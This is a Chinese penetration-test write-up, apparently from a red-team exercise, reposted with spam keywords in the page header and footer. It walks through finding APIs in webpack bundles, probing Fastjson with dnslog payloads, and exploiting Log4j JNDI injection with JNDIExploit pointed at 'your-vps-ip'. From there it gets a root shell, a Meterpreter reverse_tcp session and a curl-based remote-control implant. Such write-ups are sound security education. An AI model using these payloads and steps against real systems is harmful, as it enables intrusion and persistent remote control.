日韩成人免费在线_国产成人一二_精品国产免费人成电影在线观..._日本一区二区三区久久久久久久久不

當(dāng)前位置:首頁 > 科技  > 軟件

記一次攻防演練打點(diǎn)過程

來源: 責(zé)編: 時間:2023-10-10 18:30:40 256觀看
導(dǎo)讀前言在如今錯綜復(fù)雜的網(wǎng)絡(luò)環(huán)境,還有各種防護(hù)設(shè)備的加持,漏洞利用可謂難上加難。這里簡單記錄下在一次攻防演練中從打點(diǎn)到權(quán)限維持的曲折過程。過程前期先從備案查詢、子域名收集、端口掃描等方式獲取資產(chǎn)URL。其次對URL

前言

在如今錯綜復(fù)雜的網(wǎng)絡(luò)環(huán)境,還有各種防護(hù)設(shè)備的加持,漏洞利用可謂難上加難。這里簡單記錄下在一次攻防演練中從打點(diǎn)到權(quán)限維持的曲折過程。cSY28資訊網(wǎng)——每日最新資訊28at.com

過程

前期先從備案查詢、子域名收集、端口掃描等方式獲取資產(chǎn)URL。其次對URL進(jìn)行指紋識別,雖然發(fā)現(xiàn)了幾個存在指紋的系統(tǒng),但后續(xù)滲透發(fā)現(xiàn)漏洞已無法利用,漏洞已修。最后老實(shí)本分對其他Web系統(tǒng)進(jìn)行滲透,尋找突破口。cSY28資訊網(wǎng)——每日最新資訊28at.com

01 前后端分離架構(gòu)

前后端分離的開發(fā)架構(gòu)已然成為互聯(lián)網(wǎng)項(xiàng)目開發(fā)的主流模式,通過nginx+tomcat(中間加Node.js)來進(jìn)行解耦,是未來的大型分布式架構(gòu)、彈性計(jì)算架構(gòu)、微服務(wù)架構(gòu)和多端化服務(wù)的基礎(chǔ)。cSY28資訊網(wǎng)——每日最新資訊28at.com

·前端:負(fù)責(zé)View和Controller層·后端:負(fù)責(zé)Model層,進(jìn)行業(yè)務(wù)/數(shù)據(jù)處理cSY28資訊網(wǎng)——每日最新資訊28at.com

JAVA 更適合做 Model 層、持久層的業(yè)務(wù),引入Node.js可進(jìn)行Controller層的處理。Node.js作為橋梁架接服務(wù)端API輸出的JSON數(shù)據(jù)。cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

02 WebPack資源管理

WebPack本身作為一個資源管理和打包構(gòu)建工作,其強(qiáng)大之處在于各種靜態(tài)資源的依賴分析和預(yù)編譯。經(jīng)過WebPack編譯后得到各種靜態(tài)資源,通常生成dist文件夾,保存各種靜態(tài)文件。其結(jié)構(gòu)大致如下:cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

而app.js文件通常包含了各類前端路由或者后端API接口,是我們滲透前后端系統(tǒng)的突破口。當(dāng)然不僅僅只是app.js中會存在。cSY28資訊網(wǎng)——每日最新資訊28at.com

03 發(fā)現(xiàn)指紋Fastjson

使用burp插件,可自動從js中爬取前端路由或者后端API接口cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

當(dāng)獲取到后端API接口時,使用burp的Intruder模塊對所有接口發(fā)送GET和POST請求,POST請求時可以構(gòu)造json請求體發(fā)送。cSY28資訊網(wǎng)——每日最新資訊28at.com

部分接口進(jìn)行GET請求時,后端返回缺失某參數(shù),此時可構(gòu)造該參數(shù)并進(jìn)行SQL注入等漏洞利用。cSY28資訊網(wǎng)——每日最新資訊28at.com

此時從報(bào)錯信息中發(fā)現(xiàn)某個接口使用Fastjson組件cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

于是利用DNS探測判斷Fastjson版本cSY28資訊網(wǎng)——每日最新資訊28at.com

Fastjson < 1.2.43cSY28資訊網(wǎng)——每日最新資訊28at.com

{"@type":"java.URL","val":"http://dnslog"} {{"@type":"java.URL","val":"http://dnslog"}:"x"}

Fastjson < 1.2.48cSY28資訊網(wǎng)——每日最新資訊28at.com

{"@type":"java.InetAddress","val":"dnslog"}

Fastjson < 1.2.68cSY28資訊網(wǎng)——每日最新資訊28at.com

{"@type":"java.Inet6Address","val":"dnslog"}{{"@type":"java.URL","val":"dnslog"}:"aaa"}{{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.URL", "val":"http://dnslog"}}""}{{"@type":"java.URL","val":"http://dnslog"}:0}

未發(fā)現(xiàn)DNSLog回顯cSY28資訊網(wǎng)——每日最新資訊28at.com

04 發(fā)現(xiàn)log4j漏洞

字段Content-Type存在dnslog回顯,先試試dns協(xié)議進(jìn)行dnslog探測cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

可探測java版本,1.8.0_171版本cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

使用ldap協(xié)議進(jìn)行dnslog探測cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

可探測服務(wù)器類型,Linux系統(tǒng)cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

可進(jìn)行jndi注入利用,使用工具JNDIExploit-1.4-SNAPSHOT.jarcSY28資訊網(wǎng)——每日最新資訊28at.com

查看使用方式命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -u

cSY28資訊網(wǎng)——每日最新資訊28at.com

使用TomcatEcho鏈執(zhí)行命令并回顯命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -i your-vps-ip

cSY28資訊網(wǎng)——每日最新資訊28at.com

發(fā)送cmd命令請求cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

成功執(zhí)行命令并回顯,root權(quán)限cSY28資訊網(wǎng)——每日最新資訊28at.com

此時獲取命令執(zhí)行權(quán)限,如何進(jìn)行權(quán)限維持?獲取一個穩(wěn)定的shellcSY28資訊網(wǎng)——每日最新資訊28at.com

05 權(quán)限維持

1)執(zhí)行命令,直接反彈shellcSY28資訊網(wǎng)——每日最新資訊28at.com

2)執(zhí)行命令,寫入webshellcSY28資訊網(wǎng)——每日最新資訊28at.com

3)jndi注入工具支持打入內(nèi)存馬cSY28資訊網(wǎng)——每日最新資訊28at.com

4)jndi注入工具1.4版本新增支持上線msfcSY28資訊網(wǎng)——每日最新資訊28at.com

第一種嘗試:執(zhí)行bash、sh命令反彈shell,存在ldap請求,但反彈命令未執(zhí)行成功;cSY28資訊網(wǎng)——每日最新資訊28at.com

第二種嘗試:通過pwd、ls命令進(jìn)行Web系統(tǒng)目錄,發(fā)現(xiàn)服務(wù)由jar起的,寫入webshell文件無法利用;cSY28資訊網(wǎng)——每日最新資訊28at.com

第三種嘗試:VPS收到打入內(nèi)存馬的ldap請求,但訪問內(nèi)存馬路徑時顯示404;cSY28資訊網(wǎng)——每日最新資訊28at.com

第四種嘗試:使用tomcatBypass路由上線msf成功cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

msf開啟監(jiān)聽,使用payload:java/meterpreter/reverse_tcpcSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

設(shè)置LHOST、LPORT,執(zhí)行run開啟監(jiān)聽cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

發(fā)送ldap請求,請求tomcatBypass路由,IP是VPS的IP,PORT是msf監(jiān)聽的端口cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

上線msf,得到穩(wěn)定式shellcSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

得到shell,但無法進(jìn)行直觀目錄瀏覽,而且shell是交互式shell,有沒有更好的遠(yuǎn)控方式呢?cSY28資訊網(wǎng)——每日最新資訊28at.com

06 上線遠(yuǎn)控

在本公眾號前面發(fā)過的文章中提到一款遠(yuǎn)控平臺,自帶某廠商證書,為免殺工作省去大量功夫。但上線命令需要使用curl命令,然而該機(jī)器上并沒有curl命令。cSY28資訊網(wǎng)——每日最新資訊28at.com

沒有curl,但有wget,可不可以使用wget替換curl,詢問下chatgptcSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

答案是存在可替換的,但卻達(dá)不到我們的效果cSY28資訊網(wǎng)——每日最新資訊28at.com

于是安裝curl命令,但yum、apt-get等命令也沒有cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

很奇怪的一個系統(tǒng),大概率是個閹割版的docker容器,先看下系統(tǒng)版本類型cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

cat /etc/os-release

cSY28資訊網(wǎng)——每日最新資訊28at.com

這種系統(tǒng)內(nèi)核,百度下cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

是個docker無疑了,詢問chatgpt該內(nèi)核的系統(tǒng)如何下載curlcSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

Apline Linux內(nèi)核使用輕量級的apk包管理工具來管理軟件包。執(zhí)行一鍵安裝命令,等待安裝過程cSY28資訊網(wǎng)——每日最新資訊28at.com

cSY28資訊網(wǎng)——每日最新資訊28at.com

安裝完成,接下來使用curl命令一鍵上線遠(yuǎn)控。cSY28資訊網(wǎng)——每日最新資訊28at.com

總結(jié)

命令執(zhí)行無法反彈shell或許是防護(hù)設(shè)備攔截所致。cSY28資訊網(wǎng)——每日最新資訊28at.com

本文作者:極致攻防實(shí)驗(yàn)室, 轉(zhuǎn)載請注明來自FreeBuf.COMcSY28資訊網(wǎng)——每日最新資訊28at.com

本文鏈接:http://www.www897cc.com/showinfo-26-12690-0.html記一次攻防演練打點(diǎn)過程

聲明:本網(wǎng)頁內(nèi)容旨在傳播知識,若有侵權(quán)等問題請及時與本網(wǎng)聯(lián)系,我們將在第一時間刪除處理。郵件:2376512515@qq.com

上一篇: 如何優(yōu)雅的處理Java異常?

下一篇: caliburn.micro日志打印,app.xaml里面如何配置?

標(biāo)簽:
  • 熱門焦點(diǎn)
  • 對標(biāo)蘋果的靈動島 華為帶來實(shí)況窗功能

    繼蘋果的靈動島之后,華為也在今天正式推出了“實(shí)況窗”功能。據(jù)今天鴻蒙OS 4.0的現(xiàn)場演示顯示,華為的實(shí)況窗可以更高效的展現(xiàn)出實(shí)時通知,比如鎖屏上就能看到外賣、打車、銀行
  • 分布式系統(tǒng)中的CAP理論,面試必問,你理解了嘛?

    對于剛剛接觸分布式系統(tǒng)的小伙伴們來說,一提起分布式系統(tǒng),就感覺高大上,深不可測。而且看了很多書和視頻還是一臉懵逼。這篇文章主要使用大白話的方式,帶你理解一下分布式系統(tǒng)
  • 得物效率前端微應(yīng)用推進(jìn)過程與思考

    一、背景效率工程隨著業(yè)務(wù)的發(fā)展,組織規(guī)模的擴(kuò)大,越來越多的企業(yè)開始意識到協(xié)作效率對于企業(yè)團(tuán)隊(duì)的重要性,甚至是決定其在某個行業(yè)競爭中突圍的關(guān)鍵,是企業(yè)長久生存的根本。得物
  • 如何使用JavaScript創(chuàng)建一只圖像放大鏡?

    譯者 | 布加迪審校 | 重樓如果您曾經(jīng)瀏覽過購物網(wǎng)站,可能遇到過圖像放大功能。它可以讓您放大圖像的特定區(qū)域,以便瀏覽。結(jié)合這個小小的重要功能可以大大改善您網(wǎng)站的用戶體驗(yàn)
  • 只需五步,使用start.spring.io快速入門Spring編程

    步驟1打開https://start.spring.io/,按照屏幕截圖中的內(nèi)容創(chuàng)建項(xiàng)目,添加 Spring Web 依賴項(xiàng),并單擊“生成”按鈕下載 .zip 文件,為下一步做準(zhǔn)備。請?jiān)谶M(jìn)入步驟2之前進(jìn)行解壓。圖
  • 為什么你不應(yīng)該使用Div作為可點(diǎn)擊元素

    按鈕是為任何網(wǎng)絡(luò)應(yīng)用程序提供交互性的最常見方式。但我們經(jīng)常傾向于使用其他HTML元素,如 div span 等作為 clickable 元素。但通過這樣做,我們錯過了許多內(nèi)置瀏覽器的功能。
  • 阿里瓴羊One推出背后,零售企業(yè)迎數(shù)字化新解

    作者:劉曠近年來隨著數(shù)字經(jīng)濟(jì)的高速發(fā)展,各式各樣的SaaS應(yīng)用服務(wù)更是層出不窮,但本質(zhì)上SaaS大多局限于單一業(yè)務(wù)流層面,對用戶核心關(guān)切的增長問題等則沒有提供更好的解法。在Saa
  • 認(rèn)真聊聊東方甄選:如何告別低垂的果實(shí)

    來源:山核桃作者:財(cái)經(jīng)無忌爆火一年后,俞敏洪和他的東方甄選依舊是頗受外界關(guān)心的&ldquo;網(wǎng)紅&rdquo;。7月5日至9日,為期5天的東方甄選&ldquo;甘肅行&rdquo;首次在自有App內(nèi)直播,
  • 蘋果、三星、惠普等暫停向印度出口筆記本和平板電腦

    集微網(wǎng)消息,據(jù)彭博社報(bào)道,在8月3日印度突然禁止在沒有許可證的情況下向印度進(jìn)口電腦/平板及顯示器等產(chǎn)品后,蘋果、三星電子和惠普等大公司暫停向印度
Top 主站蜘蛛池模板: 饶阳县| 萨迦县| 虹口区| 资源县| 天台县| 雅江县| 莎车县| 同心县| 满城县| 永宁县| 利辛县| 敦煌市| 鹤峰县| 青龙| 正阳县| 兴海县| 徐汇区| 松阳县| 靖西县| 稻城县| 鄄城县| 横山县| 邵武市| 上高县| 鹤峰县| 临夏县| 桂平市| 巴青县| 隆回县| 绥化市| 海兴县| 定结县| 九江县| 潼关县| 韶关市| 苍山县| 中阳县| 盐池县| 阳谷县| 奎屯市| 大化|